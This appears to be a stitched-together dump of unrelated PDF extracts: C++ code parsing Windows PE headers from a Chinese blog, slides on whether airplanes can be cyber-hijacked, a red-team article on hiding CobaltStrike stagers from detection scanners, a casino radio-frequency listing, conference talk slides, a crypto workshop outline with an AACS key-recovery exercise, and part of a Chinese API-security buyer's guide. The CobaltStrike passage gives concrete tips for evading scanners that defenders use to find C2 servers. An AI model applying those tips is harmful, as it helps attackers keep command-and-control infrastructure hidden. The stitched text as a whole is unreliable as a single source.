PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA = PEFILE_NT_HEADERS.OptionalHeader.SizeOfUninitializedData; PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT = PEFILE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint; PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE = PEFILE_NT_HEADERS.OptionalHeader.BaseOfCode; PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE = PEFILE_NT_HEADERS.OptionalHeader.ImageBase; PEFILE_NT_HEADERS_OPTIONAL_HEADER_SECTION_ALIGNMENT = PEFILE_NT_HEADERS.OptionalHeader.SectionAlignment; PEFILE_NT_HEADERS_OPTIONAL_HEADER_FILE_ALIGNMENT = PEFILE_NT_HEADERS.OptionalHeader.FileAlignment; 解析SectionHeaders: PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE = PEFILE_NT_HEADERS.OptionalHeader.SizeOfImage; PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS = PEFILE_NT_HEADERS.OptionalHeader.SizeOfHeaders; PEFILE_EXPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_EXPORT]; PEFILE_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_IMPORT]; PEFILE_RESOURCE_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_RESOURCE ]; PEFILE_EXCEPTION_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_EXCEPTIO N]; PEFILE_SECURITY_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_SECURITY ]; PEFILE_BASERELOC_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_BASERELO C]; PEFILE_DEBUG_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_DEBUG]; PEFILE_ARCHITECTURE_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_ARCHITEC TURE]; PEFILE_GLOBALPTR_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_GLOBALPT R]; PEFILE_TLS_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_TLS]; PEFILE_LOAD_CONFIG_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_LOAD_CON FIG]; PEFILE_BOUND_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_BOUND_IM PORT]; PEFILE_IAT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_IAT]; PEFILE_DELAY_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_DELAY_IM PORT]; PEFILE_COM_DESCRIPTOR_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_COM_DESC RIPTOR]; } 解析导入表: void PE64FILE::ParseSectionHeaders() { PEFILE_SECTION_HEADERS = new ___IMAGE_SECTION_HEADER[PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS]; for (int i = 0; i < PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS; i++) { int offset = (PEFILE_DOS_HEADER.e_lfanew + sizeof(PEFILE_NT_HEADERS)) + (i * ___IMAGE_SIZEOF_SECTION_HEADER); fseek(Ppefile, offset, SEEK_SET); fread(&PEFILE_SECTION_HEADERS[i], ___IMAGE_SIZEOF_SECTION_HEADER, 1, Ppefile); } } void PE64FILE::ParseImportDirectory() { DWORD _import_directory_address = resolve(PEFILE_IMPORT_DIRECTORY.VirtualAddress, locate(PEFILE_IMPORT_DIRECTORY.VirtualAddress)); _import_directory_count = 0; while (true) { ___IMAGE_IMPORT_DESCRIPTOR tmp; int offset = (_import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address; fseek(Ppefile, offset, SEEK_SET); fread(&tmp, sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile); if (tmp.Name == 0x00000000 && tmp.FirstThunk == 0x00000000) { _import_directory_count -= 1; _import_directory_size = _import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR); break; } _import_directory_count++; } PEFILE_IMPORT_TABLE = new ___IMAGE_IMPORT_DESCRIPTOR[_import_directory_count]; for (int i = 0; i < _import_directory_count; i++) { int offset = (i * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address; fseek(Ppefile, offset, SEEK_SET); fread(&PEFILE_IMPORT_TABLE[i], sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile); } } 解析重定位表: PE壳编写 篇幅原因下次再写,效果图: void PE64FILE::ParseBaseReloc() { DWORD _basereloc_directory_address = resolve(PEFILE_BASERELOC_DIRECTORY.VirtualAddress, locate(PEFILE_BASERELOC_DIRECTORY.VirtualAddress)); _basreloc_directory_count = 0; int _basereloc_size_counter = 0; while (true) { ___IMAGE_BASE_RELOCATION tmp; int offset = (_basereloc_size_counter + _basereloc_directory_address); fseek(Ppefile, offset, SEEK_SET); fread(&tmp, sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile); if (tmp.VirtualAddress == 0x00000000 && tmp.SizeOfBlock == 0x00000000) { break; } _basreloc_directory_count++; _basereloc_size_counter += tmp.SizeOfBlock; } PEFILE_BASERELOC_TABLE = new ___IMAGE_BASE_RELOCATION[_basreloc_directory_count]; _basereloc_size_counter = 0; for (int i = 0; i < _basreloc_directory_count; i++) { int offset = _basereloc_directory_address + _basereloc_size_counter; fseek(Ppefile, offset, SEEK_SET); fread(&PEFILE_BASERELOC_TABLE[i], sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile); _basereloc_size_counter += PEFILE_BASERELOC_TABLE[i].SizeOfBlock; } } 参考文章: https://0xrick.github.io/categories/#win-internals
pdf
Cyber-hijacking Airplanes: Truth or Fiction? Dr. Phil of Bloomsburg University @ppolstra http://philpolstra.com Captain Polly of University of <redacted> @CaptPolly Why This Talk? ● Lots of bold claims concerning the feasibility of cyber-hijacking ● Bold claims get lots of press ● Most people don't know enough to evaluate these claims ● Whether you feel safer or even more scared should be based on facts Who is Dr. Phil ● You may know me as a hardware hacker, but I'm also... – Holder of 12 aviation ratings, all current, including: ● Commercial Pilot ● Flight Instructor ● Aircraft Mechanic ● Inspection Authorization holder ● Avionics Technician – Have thousands of hours of flight time – Aircraft builder – Have worked on the development of avionics found in modern airliners – Have access to airliner manuals, current and former airline pilots Who is Captain Polly ● Former airline pilot for a major US carrier ● Thousands of hours in airliners and small aircraft ● Aviation professor ● Head of college simulator program ● Spouse of a current airline pilot What you will learn ● How some of the common aircraft systems really work, including: – ADS-B – ADS-A – ACARS – Transponders – Collision avoidance – GPS – Autopilots – Avionics buses and networks – Attacks being presented by others Some commonly discussed attacks ● Hacking into the avionics via the entertainment network ● Hacking ADS-B ● Hacking engine systems ● Hacking ACARS Let's get this out of the way to start ● You cannot override the pilot ● All aircraft feature unhackable mechanical backup instruments ● You can affect the autopilot operation – If pilot(s) notice they will disconnect – Anything you attempt will likely result in alerts Attacking avionics networks ● Older aircraft use ARINC 429 networks – Not connected to anything useful – Require specialized hardware ● Newer aircraft use a modified version of Ethernet known as ARINC 664 or AFDX ARINC 664 and AFDX ● Built on Ethernet, but... – Can't just start sending packets – Never wireless – Some security in place ● Not connected to entertainment system ● Not connected to in-flight wifi Meet ARINC 664 aka AFDX ● Based on ARINC 629 – First created by Boeing for 777 ● Allows the use of common off the shelf (COTS) components vs ARINC 429 which is proprietary ● Built on Ethernet, but not the same – Uses redundant channels – Assigns time slices to avoid collisions and make it deterministic ARINC 664 Virtual Links ● Unidirectional logical pipe ● 1 and only 1 sender ● 1 or more receiver ● Timeslicing is used to avoid collisions – Bandwidth Allocation Gap (BAG) determines size of timeslice – Jitter (max latency – min latency) determined by number of VL and BAG AFDX Connections ARINC 664 in real life Tight Integration with ARINC 664 Entertainment Systems ● Connected to output ports on GPS and FMS or through a Network Extension Device (NED) ● Never connected to ARINC 429/629/664 ● Remember that the avionics network is never wireless and not compatible with your friendly TCP/IP In-flight Entertainment Boeing 777 Confusion ● Boeing asked for a special condition to allow the passenger information network to be connected to other networks such as the aircraft information network ● FAA granted this special condition on 11/18/13 provided that a network extension device (NED) was used and certain conditions were met 777 Confusion (contd) FAA specified: ● The applicant must ensure that the design provides isolation from, or airplane electronic system security protection against, access by unauthorized sources internal to the airplane. The design must prevent inadvertent and malicious changes to, and all adverse impacts upon, airplane equipment, systems, networks, or other assets required for safe flight and operations. Meet NED the Network Extension Device ● Essentially a gateway that goes between ARINC 429/629/664 and IP ● Like any gateway each path must be programmed ● FMS does not receive input from NED – Cannot send bogus commands to FMS – If NED is compromised may be possible to impersonate another device Example NED implementation ● Shameless used from http://www.teledynecontrols.com/productsolution/ned/blockdiagram.asp MH370? ● A Boeing 777 ● Uses ARINC 629 – Not 664 we've been discussing – Really not Ethernet ● The 777 is essentially the only plane to use ARINC 629 – Harder to hack than ARINC 664 Airliner Entertainment System Connection Redacted Sorry, we really tried to put a schematic on this slide, but couldn't get approval from manufacturers Hacking In-flight Wireless Attacking ADS-B/ADS-A ● Can create phantom aircraft ● No security in protocol ● Could create fake weather reports ● Could be jammed ● Not likely to affect TCAS ADS-B (broadcast) ● Piloted in Alaska ● Intended to improve flying where RADAR coverage is limited ● Part of a Free Flight system planned for the future ● Provides traffic and weather where available ● Used by small planes to broadcast position information ADS-A (addressable) ● What the airlines use (contrary to what you may have heard) ● Related to ACARS ● ADS-B == cable-ready TV ● ADS-A == addressable cable box with pay-per-view, etc – Allows specific airplanes to send/receive messages – Allows lower separation outside of RADAR coverage (FANS) – Airliners use neither ADS-B or ADS-A for collision avoidance – Can be VHF, HF, or Satellite based Collision Avoidance ● TIS-B – Provided by ATC – Requires a mode S transponder (ADS-B in) – Only available in some areas – Not authoritative – Does not use ADS-B signals – ATC does not automatically relay every ADS-B signal they receive Collision Avoidance (contd) ● TCAD – Used in small planes – Provides information – Not authoritative ● TCAS – What the big boys (biz jet and up) use TCAS ● Uses transponders in the area ● Can actively interrogate other transponders ● Authoritative ● Pilot can use even if other aircraft not in sight Transponders ● Supplement primary RADAR ● Mode S used in ADS-B ● Airliners have at least 2 ● Signals are used for collision avoidance Attacking ADS-B Attacking engine systems ● Engine monitors are output only – Information is recorded for maintenance – Some information may be sent via ACARS to airline and/or manufacturer ● Some engine control systems are electronic – All have purely mechanical backup – Most only trim mechanical system electronically ACARS ● Can be used to send messages to/from ground ● Messages to/from people or systems ● Used for – Weather – Delays – Updated flight plans – Maintenance information Attacking ACARS ● Could create a bogus flight plan update ● Could create bogus weather ● Hypothetically could create fake messages from plane to ground ● Not a practical way to take over an airplane ACARS Attack Closing Thoughts ● Nearly every protocol used in aviation is unsecured ● There is certainly the potential to annoy ATC and/or small aircraft ● Increasing automation while continuing with unsecured protocols is problematic ● Airliners are relatively safe (for now) Questions? Come see us after or hit us on Twitter at @ppolstra or @CaptPolly
pdf
关于CobaltStrike的Stager被扫问题 随着CobaltStrike(下文简称CS)的广泛应用,各种检测脚本和空间测绘扫描系统都盯上了CS,作为夹 缝中求存的公鸡队(红队),不得不反击一波。 下面是检测的手法和相关文章,还不清楚的兄弟可以阅读下: https://github.com/whickey-r7/grab_beacon_config https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A 这个检测手法其实不是什么秘密,我们看下代码 很清晰,很明白,我解释一下,就是请求stager的时候只要符合以上规则的url就可以成功请求到stager 的代码。 公鸡队的兄弟们,对抗的方法有2种: 方法1:修改WebServer.class中的此次函数校验的值,不要是92、93,改个其他值,识别脚本就搞不出 来了。 方法2:kill掉如图所示的stager就行了。 在我把以上2个方法发了朋友圈以后,有一些同学提出了不同方法和不足: 杠A:修改C2profile中的stager url。 答:这样是不行的 杠B:反向代理 答:是可以的,但是都需要结合其他相对负责的各种配置来限制访问 杠C:如果只修改校验值,由于算方法限制校验值有大小限制,也就是枚举256次就枚举出来。 答:是这样的,方法1,确实有这样的问题;建议使用方法2 杠D:删除了stager监听,那分阶段就不能上线了,和修改host_stage配置有什么区别 答:方法2就是为了灵活处理,要用的时候开启,不用的时候关闭。关闭方法已经说了,怎么再开启呢? 答案是在Listeners中选择监听点编辑,不用修改,再保存,然后就又开启了。 最后,我要说用方法2的原因是简单方便。在搞小活动的时候用简单的方法最高效。不要和我杠各种前 置,搞大活动肯定是需要基础设施部署的,小活动我认为搞那么大动静并不高效。 补充下《关于CobaltStrike的Stager被扫问题》的问题。在星球有个小伙伴说他kill了还是能使用 stager,我去测试发现真的是,前提是你使用了c2profile,在里面配置了stager相关的url和配置,当你 kill掉sites中的监听,可以防止被扫描,但是还不影响c2profile中的配置,我感觉现在就完美了,在 c2profile中配置好stager自定义的url,然后kill掉sites中默认的stager监听,即防止了被扫也不妨碍分阶 段的使用。完美!
pdf
Scanner Frequencies: Riviera Hotel and Casino Trunking System, Las Vegas, Nevada http://radioreference.com/modules.php?name=RR&sid=4413 1 of 2 6/18/2007 14:54 NOT LOGGED IN Home · Your Account · Forums · Database · Wiki · Submit Info Search RR Help Desk Riviera Hotel and Casino System US > Nevada > Clark County System Information Last Updated on 08-15-2006 19:04 System Name: Riviera Hotel and Casino Location: Las Vegas, NV County: Clark System Type: LTR Standard System Voice: Analog Last Updated: Changed talkgroups Hits: 502 System Frequencies Site Description 001 Confirmed LCN 01 N/A 02 N/A 03 N/A 04 N/A 05 N/A 06 N/A 07 N/A 08 462.06250 09 N/A 10 N/A 11 N/A 12 N/A 13 N/A 14 464.88750 15 N/A 16 464.93750 17 N/A 18 464.96250 002 Unconfirmed LCN 01 452.33750 System Talkgroups Updated in the last 7 days Updated in the last 24 hours All Talkgroups DEC Description 0-08-009 Security Home History Downloads NV Trunking Submit Watch Admin South Point Hotel Casino Las Vegas hotel rooms from $55. World class spa is open. Book now. Scanner Frequencies: Riviera Hotel and Casino Trunking System, Las Vegas, Nevada http://radioreference.com/modules.php?name=RR&sid=4413 2 of 2 6/18/2007 14:54 0-08-010 Supervisors (Security?) 0-08-012 Convention Porter 0-08-013 Chef 0-08-014 Audio/Visual 0-08-025 Slots? 0-08-032 Maintenance 0-08-036 Housekeeping 0-08-037 Bar Department All information here is Copyright 2006 by RadioReference.com LLC and Lindsay C. Blanton III. Please see our Privacy Policy and Terms and Conditions. South Point Hotel Casino Rooms in Las Vegas from $55. World class spa is open. Book now. www.SouthPointCasino.com Mirage Hotel Las Vegas Find hotel rooms, dining, shows & more for the Mirage Hotel Las Vegas www.LuxeVegas.com Hotel Discounts Premium Hotels and Bargain Prices. Save up to 70% on 165,000+ Hotels Hotels.SideStep.com Police Ringtone Send this ringtone to your phone right now! RingRingMobile.com
pdf
Please& Stand& by&this& talk& will& start& soon!& DEF CON 2018-13-05 Beijing, China From Dark Visitors to Valued Allies. You&may&have&seen&me&rob&a&bank&on&NatGeo&TV&show&Breakthrough&Season&2…& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! You&may&have&seen&me&on&the&news&discussing&Hacking&&&security&related&topics….& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! Or&you&may&have&unfortunately&seen&me&in&your&server&room!...&&;-)& ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com! What does it mean to be a Hacker? What does it mean to be a Hacker? !!!!!!!!!!!Cai!Lun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Shen!Kuo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Professor!Huang!Hongjia! Hackers provide a valuable service to society by discovering vulnerabilities & Reporting them! Why are there no Black Hat Bankers?!? If something is broken but not discovered is it less broken? Companies that help. Resources 1. https://bugcrowd.com/ 2. https://hackerone.com/ 3. http://lutasecurity.com/ If something is broken but not discovered is it less broken? Resources 1. Microsoft https://technet.microsoft.com/en-us/library/dn425036.aspx 2. Apple https://techcrunch.com/2016/08/04/apple-announces-long- awaited-bug-bounty-program/ 3. Cisco ?????????????????????????????? A global community is just that GLOBAL! <3 What does it mean to be part of the DEF CON & Hacker Community? Myth VS Reality Perceptions A global community is just that GLOBAL! <3 Now let’s learn from others Discussion and Questions???? Or several minutes of uncomfortable silence it’s your choice. This concludes my presentation Thank You!!! LINKS as you LEAVE My own lil page! http://JaysonEStreet.com Interested in me being your teachable moment. [email protected] Twitter @jaysonstreet WeChat jaysonstreet Also on Linkdedin too! ;-) Thanks to ! ;-)
pdf
Crypto for Hackers The Workshop Eijah v1.00 August 7th, 2015 Who am I? 3 • Founder • Programmer • Hacker Prerequisites • Laptop • Linux (gcc 4.7), Windows (MSVC 2013) • Crypto++ • www.cryptopp.com • Boost 1_58_0 • www.boost.org • Workshop Files • www.demonsaw.com • Qmake • www.qt.io • Optional to create your own Makefiles • Jom • www.qt.io • Because windows doesn’t support make –j 4 4 Lesson 0 – Overview • C++ 11 • Boost • Crypto++ • Demoncrypt • 8 Examples with Boost ASIO • Download & configure 5 Lesson 0 – Workshop Files • www.demonsaw.com • Download workshop.zip on the downloads page • Create a directory called defcon23 • Extract the files into the defcon23 directory 6 Lesson 0 – Boost • Download boost 1_58_0 • http://sourceforge.net/projects/boost/files/boost/1.58.0/ • Extract to the defcon23 directory • Navigate to boost_1_58_0 directory • bootstrap • bjam --layout=system threading=multi runtime-link=static link=static variant=debug architecture=x86 address-model=64 --with-system • Copy boost/libs contents into defcon23/lib directory 7 Lesson 0 – Crypto++ • Download Crypto++ 5.6.2 • http://www.cryptopp.com/#download • Extract to the defcon23/cryptopp directory 8 Lesson 1 – Caesar’s Cipher • https://en.wikipedia.org/wiki/Caesar_cipher • Implement the Caesar's Cipher algorithm • Send a random string to a buddy's machine • Write code that will crack the cipher and display the plaintext data 9 Lesson 2 – Hash • https://en.wikipedia.org/wiki/Cryptographic_hash_function • Experiment with different hash algorithms (MD5, SHA1, SHA256, etc.) • Print out a variety of hashes from cmd-line input • Use the security/hex class to better format the output • Send a message and hash digest (of that message) across the network • What are some security concerns with this approach? • Simulate a MITM attack • Add a salt to your hash 10 Lesson 3 – HMAC • https://en.wikipedia.org/wiki/Hash-based_message_authentication_code • Experiment with different hmac algorithms • Print out a variety of macs from cmd-line input • Use the security/hex class to better format the output • Send a message and MAC (of that message) across the network • What are some security concerns with this approach? • Simulate a MITM attack 11 Lesson 4 – Cipher • https://en.wikipedia.org/wiki/Cipher • Experiment with some AES candidate ciphers • Use different key sizes (128, 192, 256) • How do we generate a key size of a specific length, i.e. 128 bits? • Experiment with other ciphers available in block_cipher.h • Experiment with the Initialization Vector (IV) • How could be use the IV in the real-world? • Send an encrypted message and MAC (of that message) across the network • What are some security concerns with this approach? • Simulate a MITM attack • Is this approach safe from hackers? • What other steps must be done to prevent mischief? 12 Lesson 5 – PBKDF • https://en.wikipedia.org/wiki/PBKDF2 • Experiment with some different PBKDF functions (See pbkdf.h) • Use different passphrases, iterations, and salts • How does PBKDF help us derive useful cipher keys? • Send an encrypted message over the network • What are some security concerns with this approach? • What are some usability concerns with this approach? 13 Lesson 6 – Diffie Hellman • https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange • Generate a base, prime, and public key • Send this data to the server • Read the response data • Extract the server's public key • Update out DH object with the server's data • Generate a shared key (this is super secret) • Use the shared key to send an encrypted message across the network • Decide upon a method to convert the DH shared key into a valid AES key (128, 192, or 256 bits) • Encrypt a message and send it to the server 14 Lesson 7 – Social Crypto • Social Crypto is a new model of security designed specifically for groups and individuals • It is infrastructure agnostic • Built on the foundation of traditional security • Can leverage symmetric and asymmetric keys • Social Crypto is based on the premise that individuals and groups share common knowledge and experiences • It then uses these as shared sources of entropy from which we derive extremely complex signatures that are fed into cryptographic routines • Social Crypto uses networks (e.g. the Internet) as a universal and constantly changing Random Number Generator (RNG) from which deterministic and reproducible bits are created. 15 Lesson 8 – AACS • I may (or may not) have hacked AACS a few years ago • Be that as it may, let's hack the shit out of AACS together • I've included a binary file with 3 AACS Device Keys (in a grand parent, parent, and child AES-G3 Left Branch relationship) hidden within the data somewhere • To make things easier (and faster) I've aligned each possible key to 16 byte offsets • Implement the AES-G3 routine, recover the keys, and tell me the hierarchical relationship • If I really did hack AACS a few years ago, you might be using some of the actual code that I used back then 16 Summary • Thank you for believing in the Right to Share • The demonsaw promise • 100% free, no ads, no installs, no malware, no bundled software, no logging, no tracking, no bullshit • Your continued support • Suggestions, bug fixes, beta testing • One person can make a difference • Email, Twitter • The best is yet to come 17 Questions? 18 www.demonsaw.com [email protected] @demon_saw Eijah
pdf
1 2022 年中国网络安全行业 《API 安全产品及服务购买指南》 2022 年 9 月发布版 1 目录 前言 .................................................................................................................................................. 1 Akamai 阿卡迈 .............................................................................................................................. 8 北京安华金和科技有限公司 ......................................................................................................... 12 北京从云科技有限公司 ................................................................................................................. 25 北京长亭科技有限公司 ................................................................................................................. 30 深圳红途科技有限公司 ................................................................................................................. 35 北京九州云腾科技有限公司 ......................................................................................................... 39 上海派拉软件股份有限公司 ......................................................................................................... 43 全知科技(杭州)有限责任公司 ................................................................................................. 60 瑞数信息技术(上海)有限公司 ................................................................................................. 68 北京三江信达信息科技有限责任公司 ......................................................................................... 72 杭州世平信息科技有限公司 ......................................................................................................... 78 思睿嘉得信息技术有限公司 ......................................................................................................... 81 薮猫科技有限公司 ......................................................................................................................... 83 北京芯盾时代科技有限公司 ......................................................................................................... 86 北京星阑科技有限公司 ................................................................................................................. 89 杭州亿格云科技有限公司 ............................................................................................................. 96 深圳永安在线科技有限公司 ......................................................................................................... 99 1 前言 API 安全是当下企业和互联网面临的最严峻的网络安全挑战之一,根据 Gartner 的研究, 2022 年,超过九成 Web 应用程序遭到的攻击来自 API,而不是人类用户界面。 API 安全问题正给企业带来巨大损失,除了数据泄露、品牌与合规风险外, API 安全问题 可导致新产品或服务的发布延期甚至取消,企业创新被遏制,数字化转型受挫;大规模数据 泄露或业务中断甚至会对关键基础设施和数字经济造成严重威胁和损失。 API 安全的难点或者说悖论在于,尽管大多数安全专业人士建议隐藏资源减少暴露面和攻击 面,但业务上成功部署的 API 却倾向使资源更加开放和可用。API 的安全困局实际上也是现 代 IT 面临的一个共性问题。对于安全团队而言,这意味着选择合适 API 安全产品方案并制 定平衡的、良好的 API 风险缓解策略尤为重要。 API 安全已经失控 根据 Akamai 的一项统计, API 请求已占所有应用请求的 83%,预计 2024 年 API 请求 命中数将达到 42 万亿次,但 API 安全威胁却比 API 调用增长更迅猛。安全问题在 API 项目关注的名单中名列前茅,很少有受访者认为他们有信心识别和阻止 API 攻击。API 安全 已经濒临失控,主要表现为以下几个方面: • API 攻击暴增。过去的 12 个月中, API 攻击增加了 681%,而整体 API 流量也增 加了 321%。根据 Gartner 的数据,到 2024 年 API 攻击还将加速并翻一番。 • Salt Security 的调查显示,超过三分之二的企业缺少基本的 API 安全策略。 2 • 企业的 API 安全管理未能覆盖 SDLC 生命周期,往往只是作为马后炮和附属品。 • 安全团队普遍缺乏专业的 API 管理工具和安全防护。 • 随着新技术(例如 REST/GraphQL)的普及和新业务的发展,API 数量不断增长, API 管理正变得更加困难。 独特的安全挑战 API 安全同时也是非常独特的挑战。首先,API 是与企业业务关联最紧密,暴露和攻击风险 最高,防护难度最大的技术组件之一。 其次,API 带来了很多传统安全技术无法解决的挑战,例如 API 没有客户端组件,因此传统 的防御技术(如 Captchas 或 JavaScript)和移动 SDK 工具无法有效地防止自动攻击。 最后,随着企业数字化转型进入深水区,API 数量不断增长,与此同时 API 每天都不断地 被启动、更新或替换,这些都给 API 安全运营管理带来极大挑战。无数 API 安全事件表明, 企业仅仅依赖互联网边界安全工具(例如 WAF)和云负载保护平台已经无法有效应对 API 威胁的快速增长。 正因为其紧迫性、独特性和重要性,API 安全正在被作为一个独立的安全项目和技术领域被 企业和网络安全业界广泛重视,Gartner(WAAP)和 OWASP 都为 API 安全创建了单独的 分类和威胁列表。 虽然目前市场上已经有大量网络安全厂商能够提供 API 安全相关产品方案,但对于企业用 3 户来说,了解并选择适合自身需求的 API 安全产品方案本身依然颇具挑战性。 API 安全解决方案的选型 随着对 API 安全问题逐步重视、国家已经陆续出台多部数据接口有关的标准规范,对数据 接口在不同领域的应用、部署、管理、防护进行了规范, API 安全技术也得到大力发展, 当前常见的技术从功能上看包含了 API 发现、 API 身份与访问控制、 API 消息安全、 API 传输安全、威胁缓解、 API 威胁检测、 API 安全审计、 API 监测与跟踪、 API 管理等几 个方面。 从企业和供应商角度来看,API 安全解决方案应遵循持续“发现、库存、合规、检测、防护 /响应、测试”的安全生命周期模型进行开发和部署: • 发现:持续自动化的 API 发现,识别影子 API、无记录 API 和过期 API;识别 API 配置错误及敏感数据泄露;API 漏洞发现,开源组件漏洞发现等。 • 管理:统一管理 API 库存资产。 4 • 合规:确保遵循相关政策法规与风险治理策略和最佳安全实践 • 检测:攻击者识别与关联;不依赖威胁情报等静态元数据;行为检测与异常检测; 数据泄露检测。 • 防护:身份与访问控制;攻击防护(例如 OWASP API TOP10);应用层 DDoS(限 速限流);凭证填充与暴力攻击;恶意请求,例如 API 流量分析与业务逻辑攻击。 • 响应:与 SIEM 和 SOAR 集成;攻击与泄密的溯源和追责。 • 测试:新 API 上线前检测、审计,从源头减少配置错误和安全漏洞。 在市场细分方面,API 安全产品和解决方案主要分为 CDN(不提供端到端安全性)和纯 API 安全两大类,本指南收录的 API 安全方案大多属于纯 API 安全管控平台。 目前市场上的纯 API 安全产品和方案的常见功能和卖点如下: • 可视化的统一管理与监控 • 业务零摩擦 • 发现内部、外部、僵尸、未知和影子 API • 监控攻击者侦察活动 • 阻止单个 API 攻击 • 阻止有针对性的 API 攻击 • 防范业务逻辑攻击 • 修补开发过程中的 API 漏洞 • 左移保护:在开发期间扫描和测试 API 安全性(应用程序开发) • 运行时保护 5 • 防止数据泄露 • 识别错误配置的 API • 识别 API 中的漏洞并进行修复 • 基于机器学习的威胁防护 • 大数据和机器学习驱动的数据分析与优化 API 安全产品方案的重点选型基准如下: 1. 基于云原生架构(例如存储和分析),并面向微服务、容器技术等现代异构环境的 API 安全需求。 2. API 资产发现与管理。支持多种终端、架构、环境和协议的全域多维 API 资产发现 能力,杜绝带病 API(例如缺乏安全配置或配置错误的 API)、影子 API、过期 API 和意外暴露 API(例如预生产 API)。 3. 与访问控制和运营系统的集成性。API 安全最大的威胁之一就是用户身份滥用导致 的攻击。因此 API 解决方案与 IAM 集成、零信任集成的能力非常重要,IAM 和微 分段可以极大提高资产库存准确性,避免系统性的网络瘫痪。API 安全架构还应支 持与其他网络组件,例如 API 管理平台、负载均衡、API 网关、WAF 等集成,以及 与 SIEM 和 SOAR 等安全运营平台流程与组件的集成,提供端到端的安全防护,提 高生产力降低运营成本。 4. 左移覆盖。API 安全在开发生命周期“左移”,覆盖从 API 设计到发布和运维的 SDLC 全生命周期。 5. 基于行为检测的 API 监控。日志记录和监控可以发现 API 错误和恶意 API 活动。应 使用与标准安全工具兼容的日志格式,并且 API 日志数据应作为敏感数据传输和存 6 储。 6. 基于人工智能和机器学习的数据分析,持续提升检测和响应能力。 为了帮助甲方做好 API 安全产品和服务的购买选型,推动甲方与安全厂商的互动交流, GoUpSec 特发起了《API 安全产品及服务购买决策参考》报告调研,我们深入了解调研了 各厂商 API 安全产品及服务、产品功能、应用行业、成功案例、安全策略等维度,整理形成 了《API 安全产品及服务购买决策参考》。 本次报告共收录 17 家网络安全厂商,所涉及 API 安全产品及服务成功实施案例 45 例,分 别来自政府、通信、公安、金融、银行、证券、汽车、医疗、保险、物流、安全、电商、商 